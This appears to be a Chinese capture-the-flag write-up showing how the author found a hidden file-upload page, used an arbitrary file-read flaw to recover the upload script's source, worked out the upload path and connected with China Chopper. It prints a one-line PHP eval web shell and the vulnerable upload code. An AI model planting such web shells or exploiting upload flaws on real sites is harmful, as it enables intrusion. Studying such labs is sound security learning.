• 6. webshell文件上传分析溯源


    这道题也是借助大佬的帮助才成功,具体我们来看:

    既然人家扫描发现后台目录有文件上传,我们也不能落后,顺便拿出了传说中的御剑,并进行一波扫描:

    发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面

    我们先来访问upload1.php:

    点击确定后是upload2.php,竟然是一片空白

    不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面

    果然有这个页面,但是抓包的cookie引起了我们的注意:

    Cookie: uploadmd5=verify%2F5a9300926f7fc020.txt

    我们查看源代码:

    竟然还有一个隐藏的提交表单

    <input type="hidden" name="verify" value="5a9300926f7fc020"/>

    我们解码这个 : 5a9300926f7fc020   ----->    结果是 :  1524990922

    感觉好像跟题目没有一点关系的好吧

    但是我们又突然发现它是以 .txt 结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传

    我们直接构造 1.php 内容为  <?php @eval($_POST["joker"]);?> 进行上传

    太棒了,我们直接用菜刀链接,等等,上传路径去哪里了......

    分析数据包可能是upload_file.php....我们访问试一下

    mmp,什么鬼....就卡了好久好久...

    突然想到还有一个可能包含任意文件读取的点,我们重新抓包

    verify%2F5a9300926f7fc020   ------>   upload_file.php 

    激动啊,我竟然看到了源代码,我们记录下来

    <?php 
    $path="uploadfile/";//上传路径  
    $verify=$_POST["verify"];
    $time=date("Ymd");
    if($_FILES["filename"]["name"])  
    {  
    $file1=$_FILES["filename"]["name"];  
    $file2 = $path.$time.'_'.$verify.'_'.$file1;  
    $flag=1;  
    }  
    if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  
    if($result) echo "上传成功!";  
    ?> 

    发现包含了上传路径!!!good!!!

    $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  

    关键在这一句,$file2 可能保存的就是文件的上传路径

    $file2 = $path.$time.'_'.$verify.'_'.$file1; 

    其中:     $path="uploadfile/"
                    $verify=$_POST["verify"];  
    我想到了那个隐藏的提交表单,其中value="5a9300926f7fc020"
                    $time=date("Ymd");  
    Ymd不就年月日,那今天就是20180429

    这样一来上传的路径不就是   admin/uploadfile/20180429_5a9300926f7fc020_1.php

    我们访问,并用菜刀链接:

    后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看

    竟然是cookie的生成过程,哈哈哈

    到此为止,掌握方法,顺便告诉我们cookie的重要性

  • 相关阅读:
    Nokia Qt SDK开发环境使用
    iPad不久将能使用Android系统
    原生IDE新军:JRuby阵营的RedCar,JavaScript阵营的Cloud9(自己写个IDE出来一定很复杂吧)
    手机产品的信息架构
    百万开发者拥戴!七大.NET著名开源项目
    Prism 4.0发布最终版,支持Windows Phone 7
    Qt Symbian 开发环境安装
    Qt 4.7.1 和 Mobility 1.1.0 已发布
    WSI闭关,这对WS*意味着什么?(个人觉得Web Services是个好东西)
    ERROR: unknown virtual device name解决方法
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8971386.html
Copyright © 2020-2023  润新知